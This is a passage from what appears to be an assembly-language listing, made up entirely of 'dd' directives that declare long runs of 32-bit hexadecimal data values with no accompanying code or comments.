5807A485h, 0B030F168h, 2660383Ch dd 467C2C4Bh, 0EC4609D7h, 0B4484CC9h, 0CF46DC3Ch, 160A1400h dd 0ED07F2D8h, 80E5102Dh, 29EEF134h, 19FE818Ah, 2676A420h dd 70B4C092h, 7B3A0CECh, 0AADB00C9h, 202E2C73h, 3C73F790h dd 413051B2h, 1BD203E5h, 0A6CFCE69h, 0B880CDE2h, 10233E79h dd 0FF1D79C5h, 1E54C88h, 0B10740E2h, 32D36E25h, 2427C254h dd 1170567Ch, 41C1800Ah, 8CD72507h, 12B7720h, 0CB41D960h dd 0E17957E1h, 1BA0D831h, 6DBCDB01h, 0A7C221B8h, 5ECF438h dd 0F5700B8Ch, 1830091Eh, 0A0BE1816h, 13C800D6h, 2E42CE90h dd 3C70EFB9h, 0F79E280Ch, 90145859h, 0B12448D8h, 31EC7213h dd 0F4703C28h, 7403E74Ch, 6E2EB495h, 0E3ED9AC5h, 91B93870h dd 0D99EC287h, 0CD6F030Ch, 0CA3E6088h, 3B061212h, 0D0B61023h dd 48C3F935h, 0D2BC7C22h, 0B9B0008Ch, 0A7F832C3h, 2893D6C9h dd 46D9B502h, 5A5854CFh, 49C4B065h, 2B198761h, 0A4B68052h dd 0AF7C39A0h, 7A0B930Fh, 7F66E2B7h, 0E9840F5Eh, 8138D449h dd 516704h, 5ABDCC4Ah, 0C2FC7212h, 484480C7h, 0F8E7CC60h dd 21677209h, 9B788036h, 10492743h, 21D19ECh, 90B7D246h dd 3AC4D10Eh, 5212F602h, 0AC400DF9h, 24FB9873h, 1E1C9988h dd 66C44DDAh, 6B803EF4h, 13B0044Ah, 12CC5496h, 0CA1840DCh dd 0B6AA2107h, 6FCE20F1h, 940B8EF8h, 0ED3840D7h, 67D2642Ch dd 0B53A46B0h, 61D90990h, 9C2112C6h, 0DCFD99FAh, 262E355Ah dd 0CC06E801h, 24F0EFCDh, 0E40C8E75h, 683760D9h, 0A7B97919h dd 406F1CACh, 5AA98068h, 4C126BE5h, 4A4338Dh, 8AE6FEh dd 81B27CE1h, 19B97B97h, 29781E6Eh, 3E308023h, 97296AAh dd 1118B694h, 62C70002h, 17C67E21h, 0CB6DC985h, 0B0D70F8Ch dd 0E35DCCC1h, 0F99CF475h, 4C2CBC71h, 0D83EA1AAh, 7941103Ch dd 935E8D09h, 4D00D878h, 1EDBD0C2h, 36EA4EFh, 869BA84Ch dd 712E642Bh, 4674FC85h, 0B56500B6h, 291BFCC1h, 0E0131296h dd 0F010B680h, 136D4C1h, 0B8499DE6h, 20A96A31h, 98C89CE0h dd 944481ADh, 602D72A0h, 0FC009DDDh, 3AF08C76h, 0FDF05h dd 8E49CB90h, 174CCD3Dh, 4AE0ECA5h, 0C7109Eh, 6E4CDCBEh dd 0CFDA7F12h, 7511A21Eh, 340778FDh, 16EFA14Eh, 100BFDF0h dd 0C2D8007Ch, 0B2A6B65Ah, 2002CEBh, 8069FFA8h, 9024CA29h dd 0D0CDE405h, 4F0EF048h, 40980C34h, 0CA015DF0h, 0A95B76A5h dd 30EB8F0Fh, 0CE21E808h, 0C501CA55h, 3CBC60EDh, 79811A17h dd 7E9ABFE1h, 63CBD006h, 0BCF59900h, 0CF6ACF0h, 0FC3678EBh dd 1C4E3F53h, 8B28E981h, 0FC4D07A5h, 10C0DEBFh, 2E2A318Ah dd 0F6A106B7h, 18D8AB13h, 0E67A501Dh, 18F9E806h, 186D7471h dd 11CB17DEh, 4C076427h, 0EF714EB2h, 0F0494691h, 218024F5h dd 0C54C5C0Ah, 0BE5CB340h, 112A00D5h, 613E18B0h, 0B7A20374h dd 5CC9F116h, 0F10001FBh, 424999A0h, 3039EBh, 0E36C2558h dd 0FDBDAD29h, 0F600A990h, 0DD90119Dh, 367A9305h, 0A0A8B2FEh dd 5516DB46h, 98B71A4Ch, 50195024h, 0AC487185h, 0B79524FCh dd 0CF18718h, 9010660Eh, 0B726494h, 408CE451h, 0EDCA91D6h dd 4A4EF91Fh, 9F827340h, 0C9F0E9h, 916F7F10h, 0FC47119Eh dd 0BC6883E3h, 0F6DC3528h, 86C70111h, 3FCC9B4Bh, 4894E024h dd 5CF3F00Ch, 0CFD21E5h, 958C8EA4h, 0A8070411h, 0D00817EBh dd 83621B40h, 0B9610787h, 2CE6111Dh, 204CB18h, 4CC7952Ch dd 85E3098h, 5376E2CAh dd 0CF40E9C4h, 73B5CA56h, 0B17BCD00h, 945F8F74h, 974A2852h dd 43920588h, 22D5DE3h, 0C61F8280h, 74BB7F00h, 0B99F06D9h dd 0F81ECA8Eh, 3FD8D500h, 85F60D33h, 4C37005Bh, 3AB70FC6h dd 4A0C96FBh, 58EE2F4Dh, 38FF2013h, 4C40F400h, 0AA1D0EE8h dd 74630511h, 0EEA277Ah, 713F92ACh, 0A0ED04B1h, 67788CDEh dd 89EFC015h, 0E39D0494h, 0CB435F4Ch, 830CF7Ch, 0DBBD2198h dd 64B3094Ch, 0E01017ABh, 3B004E3Ch, 0C2BB5BD3h, 0E1EBD8h dd 807163DDh, 5688CD3Ah, 0B28FAB03h, 23432h, 1969F589h dd 5833C375h, 0A2006CE6h, 5EEF9C0Dh, 30AEAA60h, 3E798FEEh dd 571C12B7h, 15C068E2h, 7D1F1D8Bh, 334B07ECh, 3ABB284h dd 311E8C4Dh, 0DA5E8734h, 354CAA01h, 6C26E0FDh, 0B0845E3Dh dd 32EF814Eh, 56202E1Eh, 897F374Ch, 17AEAC03h, 17F3335Dh dd 0B2FFB9h, 758CB1FEh, 4058C64Ah, 9DAF39DEh, 5702AA58h dd 55B5836Bh, 104E5780h, 0B709780Fh, 24C1266h, 18335A30h dd 0A811CA68h, 0FC884376h, 0CA60B981h, 243216D4h, 0BFE07C51h dd 549107C4h, 30C7B19Eh, 8C5C7775h, 8A865212h, 78C13C1Eh dd 4F828D12h, 7FDB024h, 5A57E6BFh, 377FA394h, 8F90EE50h dd 401C6A24h, 91A27300h, 0C9EE7Bh, 5FA45D02h, 28BE470Ah dd 3B1020C0h, 0A7BCDB96h, 78308820h, 0ACD467C6h, 4CA80434h dd 62880868h, 0E14A2096h, 98ECC34Ch, 0C16D0B7h, 8BEE8FC6h dd 0A1004621h, 0B5BA9942h, 92E5570Fh, 0EBFD0068h, 92548CA7h dd 89312BCBh, 0FE4098Ah, 0BF8020BDh, 4DC3318Ch, 0FB018121h dd 18FC2D3Fh, 0B050CF8Bh, 5A7D67h, 5C127008h, 333C94AEh dd 8AC8F654h, 7D723600h, 0D0D409D9h, 120714B3h, 4D10EC4Bh dd 0CA5FC134h, 31DA76E3h, 57D010FBh, 297307CAh, 0FC34EF93h dd 4E091019h, 810DB33Ch, 91079498h, 0C3E647F8h, 67BF9B10h dd 22A755D3h, 3C40FA8Eh, 0AE3AE357h, 560BBE97h, 4CE202B4h dd 31D8085Eh, 0DABC1095h, 0A158004Ch, 5D2AA4E7h, 0CA697818h dd 55C08089h, 1411ED54h, 0F0133667h, 2014AF2Ch, 26046BCh dd 925D8CB0h, 80233183h, 8CA8D021h, 262AFC15h, 94C6A4h dd 1E946AC5h, 9605FD34h, 0EDC75D7Ah, 30DA4492h, 0A6114C58h dd 2488514Eh, 4D500680h, 2A0161h, 219FA40Dh, 0D37AF6EAh dd 929060F1h, 1888C78h, 808A554Bh, 0F01F48F0h, 0F70F063Dh dd 300C3F7Ah, 904A0D00h, 0BFAA6737h, 0E24F2957h, 5FA500B8h dd 88DF185Eh, 0E8AA71E1h, 7F05E356h, 0F883244Eh, 7890D410h dd 0E251A3FEh, 0DDD89108h, 0A54C5780h, 0EF43594Eh, 5001B22h dd 94FB4D4Fh, 0C3E0573Bh, 666A0848h, 0C0E982h, 5E403E23h dd 0FAC9932h, 0F5A0121Dh, 8F7C8E74h, 0A2738872h, 0D9C84E01h dd 9B467AF2h, 0BE01031h, 58FF60F3h, 0A46551B1h, 0C9BD3218h dd 0C0C61848h, 36806289h, 908DA3h, 0BC749648h, 0FC5A8CE6h dd 290284FCh, 16E78C7Bh, 6B320C48h, 240A9D0Eh, 0D7ACA1ADh dd 44DCC123h, 8B7A130Eh, 7C5C00E6h, 0A2CA2E46h, 0D0401115h dd 3F4916E4h, 30BB6432h, 62114CA6h, 9A88B808h, 4CDF4883h dd 0AF75A8AAh, 0F3231494h, 5989D4D3h, 0F4406C32h, 9B489262h dd 0A9D1E16Ch, 7837C20h, 8AAEC53Fh, 54A0CB2Ch, 0FDB708C6h dd 4A9258C1h, 0BC418D1Eh, 3830E214h, 43948807h, 1298F69h dd 0EDC817E0h, 88E59203h, 880E9A04h, 11163863h, 978E5906h dd 0BD05210Dh, 7A506368h, 80E02010h, 368E9C81h, 5CE8513Fh dd 402E5060h, 0B10909Eh, 0A058371Ch, 8276DA84h, 620521A0h dd 0B12EDCC1h, 43693080h, 0AA46DFC1h, 110820h, 0E193993Eh dd 94D67292h, 0C9B928C2h, 14B8410Fh, 1EE03877h, 4A129523h dd 5C49A2DAh, 4C04A1Bh, 0A56055D8h, 9223568Ch, 0FE508BBh dd 8CBDCD00h, 0EEFB46Dh, 0D5555B3Ch, 757187ACh, 21451F00h dd 0DE28B02h, 7A182680h, 5E51C088h, 0C49863D1h, 3999EF30h dd 0D572CCh, 0C491FB6h, 255CD05Fh, 0AB159700h, 45DD65C3h dd 0D610AB5h, 8FD8F833h, 34E006F3h, 32F668D0h, 5CCC6520h dd 0E8BC1096h, 0CD64008Ch, 0DE498E25h, 0C96FB82h, 1A0C2D01h dd 0C626736h, 8930A1F2h, 53851FD1h, 0CFB80F1h, 2F8A5D64h dd 0DE202405h, 0B8C8EEC5h, 0E31B003Ah, 0DC04D49Bh, 2A03576Dh dd 47DAC3C4h, 2F60F027h, 0E6460F9Eh, 6980D4CFh, 87DF4A18h dd 2B8A9613h, 0B88F2C00h, 1541FD70h, 0E8123767h, 0F76E9874h dd 0C994FC40h, 92763DDDh, 0CF826h, 0CA174A63h, 31C014E5h dd 0A738B473h, 580E7050h, 0BC009E5Bh, 0F7408A6Ah, 9913A932h dd 7800DEC0h, 27F4DC41h, 7F24124Dh, 9C280202h, 0EC90EEBFh dd 2C0078CFh, 93EBA2ACh, 0EA34C2h, 45A66860h, 6FF92358h dd 649B102Ch, 0FDBE1F02h, 5954627Eh, 18E5D954h, 20A60F3Eh dd 80C48167h, 0AF8C1DEh, 0CE8044A4h, 0C5208820h, 25BB013Fh dd 0EEF78274h, 19588C8h, 5C60B089h, 30FC4157h, 90401E10h dd 1209066h, 8A54899Ah, 0D06B3619h, 0F4519230h, 474C30E8h dd 1DC70140h, 0E50A18AEh, 74CC348Ah, 80102321h, 78B760AFh dd 0FA6032D7h, 8B2592A1h, 18850B6Dh, 0B482643Bh, 62183358h dd 76A63DCAh, 0E42246h, 0C2CA5ACBh, 654AD3F2h, 1B43C303h dd 0F04699E0h, 0B9854B2Ah, 80FE1E08h, 119DF47Ah, 66588C75h dd 8C97BC2Ch, 1A015C00h, 5D9133EFh, 0F7890F99h, 88204F1Fh dd 6ABE4918h, 572D4014h, 0ED0901A8h, 0DFD4A8CDh, 2C670BFh dd 8654CA5h, 609451E0h, 4B4CDDBFh, 31AF8B00h, 0CF6641EFh dd 3C3E1318h, 385800A7h, 63B22994h, 65204FE0h, 7F06090Ah dd 0B4C13192h, 0F8503CD0h, 740E8C19h, 768D254Eh, 9423C43Bh dd 0A67E5501h, 0B1E4B924h, 626E0650h, 6C1726C4h, 8EF8DC92h dd 1E1BB900h, 41D7939Ah, 90CB584Eh, 27C61F10h, 0A3ECA018h dd 601D9Dh, 0E51625DFh, 6E9EFA75h, 59410400h, 4B473111h dd 34EE58E9h, 0E340388Eh, 2DFDABADh, 8A291A07h, 617E4379h dd 599B73B0h, 905DDFC4h, 813A7AC8h, 5464DE18h, 664A9408h dd 3A64169Ch, 962374h, 5E7060Ah, 175C2AC1h, 17C9254Ah dd 0FE588B4h, 9F923660h, 0CAC764Ah, 220C18A0h, 0FE493241h dd 0BCDE0E8Ch, 0F12E042h, 17A5DB1h, 622C9FD8h, 2026A2C1h dd 1361B9E6h, 0C3919238h, 886C8E14h, 83E6C7FBh, 0F119A4EEh dd 8D9119E5h, 34D1CE0h, 0CEB9052Fh, 9ED0B15Fh, 0F417AF90h dd 8C43633Bh, 0EA8774A8h, 0DD580C96h, 11FF8213h, 4D066800h dd 0B4E7DF74h, 5780BB3Ch, 388E3DD1h, 0EB58884Ah, 0D0E20518h dd 0D0083B79h, 4CA9C0AAh, 0C0460869h, 4B589922h, 0A8097398h dd 153A66h, 787759Ch, 258E2C9Fh, 0DF828660h, 0CD2A900Eh dd 0D5FE9C10h, 24E4686h, 76A4CA64h, 10EA3163h, 5CA5CCDh dd 0FE608587h, 772C888Eh, 20F9A27h, 0CC7F02E8h, 44308538h dd 0CE4A60E3h, 539F1D95h, 0C4F1DEE7h, 8C131882h, 0A62E526Ch dd 0CF42BCAEh, 62F203E2h, 1800858Bh, 0A9C43497h, 0F8FA8EFBh dd 9231C126h, 2C3FB723h, 903B2C50h, 0E03A0813h, 0BE03E523h dd 0E0E0E905h, 995BCAFh, 11C074B1h, 485BBCC1h, 0CA0B6128h dd 9C3B76A9h, 59BA0098h, 31D91CCAh, 50E07E04h, 0E5120499h dd 40A74CD0h, 41390129h, 997144B6h, 0D138CCF8h, 0D72EA4B0h dd 9AA540E8h, 795C59DCh, 67D81920h, 0AFFE0E82h, 0F2CB1C2Ch dd 0C43E2CC0h, 84066501h, 528F1466h, 800C106Ch, 97B185EFh dd 3D27BD00h, 7134D960h dd 0D4500E43h, 20F64D68h, 98930CF0h, 9DD88800h, 0D4B53918h dd 0E7230F1Ah, 0F138E50Dh, 0CE01486Ch, 0F266123Fh, 7DD0C8DBh dd 0F3970080h, 0B13D11B5h, 0B6130D68h, 48605A0Fh, 23638CA2h dd 0E7119392h, 8CBACE00h, 369C9B19h, 6E13E373h, 6C02528Eh dd 25140E18h, 5BAC05ABh, 8C68E115h, 0E993EF20h, 573300A8h dd 0E3B85002h, 0FBF64CD4h, 93195902h, 40ADE27Ah, 2A126838h dd 94D67Fh, 5DDC4A73h, 9704C9EDh, 8D19E662h, 461C5887h dd 8CA60256h, 1CB39257h, 60C041A2h, 7D0021B6h, 674A0445h dd 49429F08h, 7A0CCCD1h, 92C11F37h, 0A4EA822Eh, 328D978Eh dd 61A9D4D0h, 51B2254Dh, 18380DFCh, 92E9914Bh, 28709998h dd 18B4BF4h, 75194CC0h, 841838D1h, 0A909D4A3h, 47068000h dd 9D4DF7E6h, 805D3104h, 7D00B452h, 281210ABh, 0E8046007h dd 0D4278D2Ah, 0BA4B10Eh, 0C0E6C8ECh, 26B6A6FBh, 4224DC00h dd 72EAD495h, 7AEE28A2h, 0D18499BCh, 6EC1994h, 11C23C5Ah dd 0EFAFE006h, 0EA03218Eh, 4812A619h, 0F2AA88BBh, 4FCCAh dd 1BC0DB61h, 47A4AC6Dh, 0AE44EB1Eh, 9E7F08C5h, 0DBC55CA1h dd 7A74E0CFh, 0AC1D50A7h, 0D68F1902h, 0F0D72017h, 18C41903h dd 0A8F00FE4h, 0BF1C033h, 28F446A3h, 5A683D4Ch, 1E103C2Fh dd 0BA9AC210h, 1C34DA16h, 0C2564513h, 8EF36B7Dh, 910420C7h dd 9A00C68Ah, 72950194h, 0E0FF4228h, 1DD1D8B1h, 0E3024B18h dd 5D13B5BBh, 0B25879F5h, 6330E150h, 4EB1104Ch, 5B09E079h dd 0D240C04Ch, 97B3D53Dh, 1640DC94h, 2530361Eh, 0D0905694h dd 1702B0CDh, 87BFD060h, 6A336070h, 0F4A8025Eh, 5C8E8DE4h dd 149998C6h, 6218E671h, 11C5BD00h, 6A916D26h, 5839018Ah dd 0B3528D35h, 88AC3CCCh, 827784C4h, 0E4089193h, 0A3F8456Bh dd 0FE6A170h, 0AF000E0Ch, 130B4A9Ch, 13E0450Dh, 0D094011Ch dd 188A6BACh, 5058A40Dh, 0D438907Ah, 54E56DCBh, 0D66023C4h dd 9C008F2Fh, 95A5350Ah, 2D3B932Ah, 0EC00EC1Bh, 0FFE7C574h dd 0F6ABA9C0h, 0B0F91F7Ah, 445C5260h, 45A5C721h, 631F6404h dd 15C4E814h, 2940067h, 0ACEA7297h, 0C000CECFh, 6FE4F8BFh dd 3317D3ABh, 0EE185782h, 0E5EFA1h, 40021F79h, 0BF1F1145h dd 0FD066A0Bh, 20E11Ah, 7805C4F2h, 57034B8Ch, 0B363F60Eh dd 80B78856h, 0C877FDA2h, 9B07A962h, 9A9118CEh, 0B9D601E0h dd 0D0BE00CDh, 2269838h, 2106287Dh, 96764073h, 22490041h dd 71C60835h, 5F0085B0h, 54F84B9Eh, 0C0F23E96h, 878186C0h dd 6B502CBAh, 1403A6B7h, 0FFFA27DDh, 0E4491E56h, 8F0CFA3Fh dd 4B393797h, 0A218D00h, 73C09EB6h, 898EB2Ah, 0C5F62147h dd 0B5AB2100h, 5074A37Dh, 424B1CF8h, 92903101h, 9C845018h dd 0F3F0FFE4h, 7CD2A8A8h, 79023401h, 7136D3A0h, 0AC080995h dd 3494B200h, 0F6961A4Fh, 0B821C114h, 0E4620084h, 0ECC5AB15h dd 0CFB9C073h, 0F6873311h, 0E0D61E0Eh, 0CC08B8EEh, 0B220C0AAh dd 493F3309h, 7F7E2700h, 0EE40F108h, 0FD9230DEh, 0DD7A5591h dd 6B5F4200h, 23C9C3E8h, 0A0D0003Ch, 0F2452AC1h, 110571C5h dd 0AADD7316h, 0C123402Ah, 20C02B1Eh, 0B86ADD71h, 0C0C90950h dd 18044AE8h, 780A6006h, 0DB4B108Dh, 87BCC856h, 78029Fh dd 1FB752C2h, 89791A34h, 0C0C88C08h, 0F6863310h, 0C6222646h dd 3308B100h, 1AB30DD0h, 0B57F051Fh, 4757B65h, 823449E4h dd 90307E08h, 0B6111121h, 0A64688A6h, 482101CEh, 4460FFFDh dd 0C5E0044Ch, 4FE101B4h, 98203366h, 3927E2Eh, 7B8C686Eh dd 188E4A27h, 0B9C99E0Ch, 3BDB30AAh, 6C52DCFCh, 0A730CBA2h dd 0B22B0148h, 9EE76031h, 18823AEh, 95E6E380h, 52F4CA6Ch dd 97F60E62h, 6E40C7C2h, 4983A23Ch, 0F9E52A14h, 65B005FCh dd 8C107203h, 0FC23D8h, 4B8B780Ch, 4486570Bh, 403A1BBh dd 326DF178h, 11CDA81Fh, 763F0E2Eh, 8F44AB85h, 6ED880CAh dd 0E502B831h, 0F2156F34h, 8CBCB092h, 0B60D1121h, 804988C6h dd 7921C46Dh, 6C903685h, 4944E4A7h, 45591460h, 0EFED2898h dd 0A197F819h, 618FAF0h, 4BC97804h, 0BA3256FBh, 77FEA320h dd 0E5060EA0h, 3B41B086h, 340B6537h, 0E06984Ch, 6DFB733Ch dd 44A88730h, 8EA860BDh, 0C35717CAh, 0FFD70149h, 0D295871Eh dd 93AE848h, 0C85F4B00h, 8F702812h, 0F4C02D8h, 0E4CB69FBh dd 4C90EC64h, 7B02FE46h, 88790534h, 0B140CC33h, 69643493h dd 30D53Ch, 0EBC0217Bh, 62972329h, 93025036h, 11347718h dd 8C687911h, 0B521CDh, 0C748348Fh, 9032030Bh, 246CB309h dd 508C2C6Eh, 85048C08h, 58790B34h, 7D00B738h, 8025CE34h dd 0EA1F38h, 30F5DFBAh, 0FEEDF24Bh, 3354ECA1h, 30B9B23Ch dd 4F3EEF3Fh, 0ACF5005Ch, 0F01D2F8Dh, 7CE72480h, 3D18006Ch dd 0D54A5FA8h, 3093F724h, 0E62F4081h, 11933325h, 232C2F15h dd 56BA0042h, 9D4E2937h, 2E3F7909h, 0F4188061h, 30D5F2EDh dd 0B23138F3h, 0D048AF4Dh, 41992438h, 0C943780Dh, 9D09F891h dd 4B9088FFh, 18E70E3h, 552A7800h, 64D03732h, 98DD0034h dd 4DB58648h, 68C2BB13h, 63362DDEh, 3C41CC7Ch, 0E1B9E9h dd 40E23EEFh, 0F100115Dh, 0B60CE08Dh, 0C0D4B765h, 7134A940h dd 78C2CCE6h, 68AF4EFFh, 0C0419668h, 76A690D9h, 1739241Bh dd 8E1639EFh, 4AB219B0h, 0FB9170B3h, 0C2780784h, 7094B332h dd 77FFA401h, 0D5C576D4h, 68D22C8h, 3E1F7BA2h, 3C03B047h dd 0E17D9EAh, 771100ADh, 0EBBFFC7Bh, 0F2120D22h, 2C0EDE55h dd 0FD137DF0h, 0C0944008h, 0B60721CAh, 802473E3h, 6021C26Bh dd 0EC3218BFh, 4604F9BCh, 0C85AAE01h, 6AD7BAC9h, 0C1CB19D8h dd 41AF7BB9h, 600FE937h, 2EE8EC39h, 86D42D4Ch, 72287814h dd 3C0748D5h, 0E8C43FCh, 29D591C1h, 87755601h, 0E5D842CBh dd 0F8F5E386h, 44D1D891h, 55908218h, 0DA984500h, 0F118DBB7h dd 1670F6BFh, 42CF11E9h, 40664798h, 0B5C9830Fh, 0C1848B7h dd 0C092FD10h, 7904347Ah, 0C0A8B990h, 0AE3492B4h, 3F0B750Bh dd 8C89D6Ah, 8D60E4CEh, 0E2D93119h, 5CAC021Ah, 0F6D59295h dd 2A00BC44h, 1F141711h, 9277EBDEh, 8E3E0084h, 0D92939A2h dd 8C90836Ah, 1EB53D20h, 602A2773h, 76151490h, 28DC6EEFh dd 5A1F2CF7h, 4CAEEB85h, 0FAC52285h, 2D2CBC03h, 0E4190617h dd 0B138B6C0h, 0DE67B3Ah, 68D22DC9h, 0CCA2CC23h, 3C02E833h dd 0CED41D2Ah, 4A3572Bh, 45B7A54h, 0F881EABCh, 0C077AA3Bh dd 560175B0h, 1323BA02h, 48C9190Bh, 0DF9170h, 0E351F352h dd 0DEBACB5Ch, 830629EEh, 9762C13Ah, 57790CD8h, 27903536h dd 1D58396Bh, 80479120h, 4F7908D5h, 505461E2h, 7311AC09h dd 30BCA200h, 9A003EA7h, 0F3D8B985h, 0D2CAE9F1h, 0D4D444B0h dd 2D5A01F5h, 6100D2EFh, 0B8BA812Ah, 60318090h, 0B8C0D148h dd 1DF0DC49h, 295246Ch, 0EDE806Ch, 0B4CC229Dh, 5DC29900h dd 0C83F457h, 78F87659h, 64764D7Dh, 84AD381Dh, 8EF62558h dd 0C00788A0h, 0A43780DCh, 19039530h, 56297Fh, 12BF3D2Eh dd 0D744CAAFh, 73938700h, 6DF4FBA1h, 0F12D013Bh, 6C58009h dd 0F2D0326Bh, 0D52C30D0h, 0C270F558h, 0CAF375h, 0E636AE0Dh dd 80DF6900h, 0A5B72698h, 73A30271h, 9DFE473Bh, 1893C861h dd 62109C9h, 509CBEB6h, 21C16A00h, 56538817h, 5BC4091Bh dd 0E46715CAh, 0BD610544h, 353620DFh, 71C60607h, 29C08F09h dd 981FF24h, 0C0F6B5ECh dd 2914708Ah, 0E508F0D8h, 51EC0186h, 0F9C139EAh, 0A048ACD0h dd 0E5082174h, 5A941082h, 3DA84496h, 0A840D64h, 0E4E33709h dd 3F609698h, 4DFF8A21h, 0A7AA0078h, 0C05C4625h, 6D3237FEh dd 4DF279F6h, 0CCD1E0A4h, 687FC319h, 5254214h, 323412A0h dd 8167A40Ch, 0E02F0C19h, 0FABEC123h, 449C0C90h, 1BD465Eh dd 0A6B87D6h, 19AECF6Ah, 2EF0574h, 4AC723Ah, 73347930h dd 2278460Fh, 91B3000Ah, 115ED134h, 980E3FF8h, 60D96063h dd 0A42F6E0Dh, 3BB30D2Ah, 0F479CE7Eh, 0DB093439h, 182E1777h dd 26224AA0h, 14D8BDh, 0ABE0B178h, 1603AA29h, 0F7CF93EEh dd 809CBC76h, 0A9FB6092h, 0ADC85E74h, 64F21700h, 0E74CC45Bh dd 0BD0D60Bh, 4C20818Ah, 47764F7Dh, 24875E82h, 330FC0ECh dd 0E4FF679h, 3FB4382Ch, 7B3307h, 87AD9DD1h, 975505C6h dd 0A1D83854h, 0CE47A517h, 0BAEBB506h, 53E90739h, 5E6A61C3h dd 0A6432B80h, 0F03F98Eh, 0EED582FBh, 40411435h, 129FEC7Fh dd 0DF80028h, 0B86CA241h, 0D448A491h, 0E4CE215Ch, 28592F80h dd 0A3008B0h, 199F77A5h, 0B13A40CCh, 6AFC74F6h, 5721BF1Eh dd 1947EC64h, 0AC81EE23h, 0A00E9499h, 3CC0C188h, 4FFF188Ch dd 76244563h, 3788A4E6h, 3428A351h, 48C9178h, 0B60C218Bh dd 204F628Eh, 1321C36Ch, 0AE7A5B07h, 0DB0B22Bh, 242D3F86h dd 1A0C647h, 763B2FC9h, 3AC1174Dh, 0F871BDDAh, 4288380Bh dd 0F8E302C0h, 0B90FC94h, 41E64779h, 0D491DC16h, 0A4184671h dd 104C385Ch, 290251DAh, 1259D433h, 0B059E0C2h, 0CB18B779h dd 391CC903h, 0F845FB8Dh, 14D48517h, 0C0D1A9E9h, 1180AC4Dh dd 6E0CF0C0h, 0A85D60Ch, 8C7DC803h, 10218F05h, 90386EB6h dd 21C700F8h, 905AE566h, 44B809ADh, 0F2EE1A44h, 4615383Bh dd 827825ACh, 81107B99h, 544E4C7h, 632EAE60h, 0FE0248C0h dd 127B5D88h, 263DD61Fh, 12158F8h, 4869693h, 0CE70790Ch dd 7EB80F70h, 62D4A034h, 137B12BDh, 64B939DDh, 0A734E698h dd 0FED861D0h, 0D41A2A0Ah, 339400D0h, 0C2553A90h, 79FAEF5Bh dd 1FB6B800h, 0D5FE999Dh, 7A4923Ch, 2D63046Fh, 0B00CFB0Eh dd 0C493C1D8h, 7B330507h, 50A2FEE4h, 33FDAEC0h, 8F001672h dd 0F174DB1Ah, 5AC5184h, 0A63EEF10h, 8B981634h, 0C5C3C8C8h dd 7A289903h, 3CAD32C3h, 0D92CABB9h, 64975AA0h, 0E80B911h dd 9FBEFA30h, 1082F00h, 0B6C024FBh, 2734A099h, 0C8606B72h dd 9C47AC9Ah, 18E50642h, 64139204h, 9830FB86h, 785C3CDFh dd 0D5F2CCAh, 0D09D69ACh, 0E680BE11h, 75B5FE50h, 0C00327h dd 0F2D8D44h, 349B0010h, 9535E1E8h, 0E1C2F2EEh, 65AADD23h dd 60C3C4C0h, 0AF1193Ah, 365C6BB2h, 0A81D4BCCh, 0EE890611h dd 3522B002h, 11449712h, 0D4C780CBh, 749D5AECh, 2B7602D8h dd 0BB2DB93Ah, 3E209472h, 0FCFF0054h, 5DC092C2h, 50286C7h dd 734B9003h, 44C44757h, 72F76008h, 0F1F60926h, 1010BA1Dh dd 79523BFFh, 904B32F4h, 0C114F8DBh, 2DBE6E20h, 82872D7h dd 91D48C98h, 330B80C7h, 8C2EF685h, 0B8CA44h, 0B2DE3303h dd 0A3C6BF24h, 53E5603h, 3C049377h, 0FE8043A9h, 99EA7F23h dd 0BC006B59h, 6E3C64A9h, 0D122862h, 0F5B3C096h, 99C060F9h dd 86D4BE07h, 84C1EAF4h, 8C6D2AC0h, 0D964FF1Bh, 30190EC1h dd 98BEFE68h, 30CBD40h, 43A200CDh, 18898DF7h, 0D92CB852h dd 24040891h, 3CCC0986h, 21F8CC2h, 0D2BF7C33h, 0FAAF8078h dd 38259D33h, 70037B83h, 0F0998C36h, 9C2F5888h, 22A00658h dd 3A155BB2h, 0A23E4h, 73047E5Ah, 57147956h, 78285EAAh dd 90362727h, 82E391BCh, 5B524C60h, 13D13A80h, 3BD53324h dd 1F0623F0h, 0C8F600D0h, 7088FB0Bh, 0E83C8758h, 0E443CEh dd 0C5E7B69Bh, 24B5AD78h, 0CB84308h, 0B9C13B42h, 12D4D920h dd 4B13EB29h, 141097E8h, 0F724710Eh, 0C464505Dh, 7A330460h dd 1106F623h, 0FCAD09C8h, 600B8033h, 747426B6h, 0EEC516E9h dd 426491F1h, 106C6DCDh, 0C012ADA8h, 192822B9h, 27F87CD8h dd 0F600E97Fh, 0C94D0B87h, 95414A49h, 0A927087h, 20E880A0h dd 9FB031E3h, 25AFC500h, 243FFEBh, 97ED1FECh, 4C71F1F2h dd 0EB23D274h, 7DB99323h, 7E6F2B9h, 95B66990h, 3596609Fh dd 3F049ECAh, 2BF2D50Bh, 43E230A3h, 1A88230h, 3BFBDDC8h dd 3995F32Fh, 0D2070018h, 6B77ADE2h, 139100D6h, 0F1F3FC02h dd 0D54F03F4h, 315F944Ch, 80389E92h, 0DA560DB4h, 0D700E6B9h dd 6DF8C287h, 39204931h, 8B05537Eh, 40C0959Dh, 3AB392ACh dd 4C98E209h, 0E365B400h, 83F8506Eh, 38B95038h, 810C99F1h dd 0EB1E4461h, 2494549Ah, 8804DA14h, 4957C008h, 0BF12FF9Dh dd 0A0098623h, 71E840FDh, 599E090Eh, 0B071D58Fh, 0DEC4ACh dd 4C2BE25Fh, 79EE3005h, 6E703F00h, 0DE2A8F3Bh, 10D4BC33h dd 0BB3DC418h, 0A2543329h, 6EB730C5h, 376D0E05h, 4C818B8Fh dd 0F010327Ah, 0B402F661h, 0D3E0790Ah, 58945314h, 5402E349h dd 0FF1DC963h, 9070444Ah, 62EBFEBCh, 0DA665134h, 5224CC0h dd 0A29901FFh, 0BBA23C73h, 1F3E0530h, 0C9C86298h, 8C792CC0h dd 3A922F04h, 191D9301h, 0EF398ED2h, 3135871Bh, 83C1C220h dd 0CE3E13A1h, 5C480069h, 683B4CF0h, 0C9F5FC05h, 0C006E23Dh dd 41CD19h, 0B432427Dh, 2C0813E3h, 0DE9CCE5Ch, 78100023h dd 56EB4B8Fh, 8D506896h, 7D783C08h, 9D29A900h, 0BED0E615h dd 0EBBFF502h, 0F9344928h, 184F7958h, 0A665009Bh, 1776E894h dd 0ED122A05h, 1C3AE01Ah, 1202C123h, 0FA1A255Eh, 16410070h dd 0A61C6058h, 0D30FBE92h, 0A0673C04h, 0DD981110h, 0D0179794h dd 0B8804F91h, 6727B517h, 8109DFE6h, 514A5F5Ah, 18BD791Ch dd 76F578DFh, 5E1D0325h, 